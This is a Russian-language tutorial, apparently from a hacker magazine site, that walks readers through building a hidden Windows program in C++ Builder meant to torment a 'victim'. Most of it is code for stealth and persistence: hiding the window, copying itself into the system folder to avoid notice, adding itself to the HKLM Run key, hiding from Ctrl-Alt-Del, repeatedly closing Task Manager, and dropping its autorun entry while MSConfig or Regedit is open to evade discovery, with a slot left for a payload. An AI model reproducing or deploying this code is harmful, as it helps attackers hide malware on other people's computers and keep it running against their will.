Я сознательно не буду приводить здесь листингов программы - так лучше
для тех читателей, которые хотят разобраться во всём самому.
Если же тебе нужно получить проект программы полностью, прошу на мой
сайт. Открывай новый проект C++ Builder, переноси на пустую пока форму
компонент TTimer со вкладки System и установи его свойство Interval в
500 (это миллисекунды) и свойство Enabled в true. Затем жми меню 
Projects->ViewSource и перед строчкой "Application->Run;" напиши:
"Application->ShowMainForm = false;" и установи свойство Visible (в Инспекторе Обьетов) формы Form1 в
false. Как ты догадался, это для того, чтобы форму не было видно во время
работы программы. Далее нужно в начале Unit1.cpp добавить три строчки, подключающие 
eader'ы:

#include <registry.hpp> // для работы с реестром
#include <process.h> //
для WinExec
#include <string.h> //
для работы со строками 

Затем после "TForm1 *Form1;" пиши:

// хэндлы для
HWND Window = NULL, //
Диспетчера Задач Windows
MSConfig = NULL, //
окна настройки системы 
Regedit = NULL; //
окна редактора реестра

TRegistry *Reg; // класс реестра
(Registry.hpp)

char *str = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//
ключ реестра, где хранятся элементы автозагрузки

Потом напиши функции для записи и удаления этой программы из реестра.
Сначала открой Unit1.h, и в нём после "__fastcall TForm1(TComponent*
Owner);" напиши их прототипы:

void SetReg(); // установка в реестр
void DelReg(); //
удаление оттуда

Далее в конце Unit1.cpp добавь:

void TForm1::SetReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE; 
//
установка корневого ключа (по умолчанию -
HKEY_CURRENT_USER)

Reg->OpenKey(str, true); // открыть ключ (если не сущ.-создать)
Reg->WriteString("program", Application->ExeName); 
//
пишем программу в автозапуск. "program"-произвольное имя, второй параметр - 
//
путь к программе
Reg->CloseKey(); // закрытие 
delete (Reg); 
Reg = NULL;
}

void TForm1::DelReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey(str, true);
Reg->DeleteValue("program"); //
удаление параметра
Reg->CloseKey();
delete (Reg);
Reg = NULL;
}

Потом напиши функцию void Zapadlo() так же, как это сделал я с DelReg и
SetReg, и которая будет выполнять собственно заподлянские действия. Её пока
можешь оставить пустой. Теперь осталось написать в 
__fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner) вот это:

// сейчас защита от CTRL - ALT - DEL (в
95/98/ME)

BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId, DWORD dwType);
//
Описание функции RegisterServiceProcess
HINSTANCE hKernel; //
загружаемая Dll
(Kernel)

int id = 1;

hKernel = LoadLibrary("KERNEL32.DLL"); // загрузка Dll

if(hKernel) // если успешно
{
RegisterServiceProcess = (int(__stdcall*)(DWORD,DWORD))GetProcAddress(hKernel, "RegisterServiceProcess");
//
получение указателя на функцию
if(RegisterServiceProcess) //
если она сущесивует (в NT/2000/XP её нет)
RegisterServiceProcess(GetCurrentProcessId(), id); //
выполнение

FreeLibrary(hKernel); // закрытие библиотеки

const int n = 1024;
char sysdir[n], tmpstr[n]; 

for (int i = 0;i < n;i++) sysdir[i] = tmpstr[i] = '\0';
// очистка строк 

GetSystemDirectory(sysdir, n); // ф - ия WinAPI, находит. сист. папку
//
теперь в sysdir - путь к сист. папке
strcpy(tmpstr, sysdir); //
копирование sysdir в tmpstr
strcat(tmpstr, "\\program.exe"); //
новое имя файла проги
if (FileExists(tmpstr)) //
файл сущ. - первый запуск
{
CopyFile(Application->ExeName.c_str(), tmpstr, false);
//
копирование себя в системную папку (чтобы не засекли)
WinExec("program.exe", SW_HIDE); //
запуск нового файла 
Application->Terminate(); // завершение работы программы
//
но работает программа в системной директории 
}
else //
второй и далее запуски
SetReg(); //
в автозапуск 

Ну всё, подготовительные действия закончились, приступим к главному.
Итак, кликни в инспекторе объектов на событии OnTimer компонента Timer1,
ранее перенесённого на форму (напомню, интервал - 500 мс.), и напиши в
обработчике его события:

Zapadlo(); // собственно заподлянские действия (ранее написанные) 
Window = FindWindow("#32770", "Диспетчер задач Windows");
//
это поиск хэндла Диспетчера задач, где "#32770" - класс окна
if (Window) //
если найдено
{
SendMessage(Window, WM_CLOSE, NULL, NULL); //
просто закрываем 
//
если хочешь сделать с Диспетчером что - нибудь круче - см. выше

MSConfig = FindWindow("#32770", "Настройка системы");
//
поиск MSConfig.exe
if (MSConfig)
{
DelReg(); //
убиваем прогу из автозапуска
return; //
и выход из функции (больше здесь нефиг делать)
}
else //
если не открыто
SetReg(); //
прогу -> в автозапуск

Regedit = FindWindow("RegEdit_RegEdit", NULL); // поиск Regedit.exe
if (Regedit) //
аналогично
{
DelReg();
return; 
}
else SetReg();

Вот и всё. Теперь ещё надо запихать что - то дельное в Zapadlo, и успех
твоей заподлянке обеспечен на все 100%!!! Не позавидую твоей жертве 🙂

Наконец, последнее. Может быть, я напишу статью про то "дельное", т.е.
про сами заподлянские действия - наверное, в ближайшем будущем. Пожелания,
поправки и прочее - на мыло.  До встречи! 

George
www.omega-group.narod.ru // пока ещё строится

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии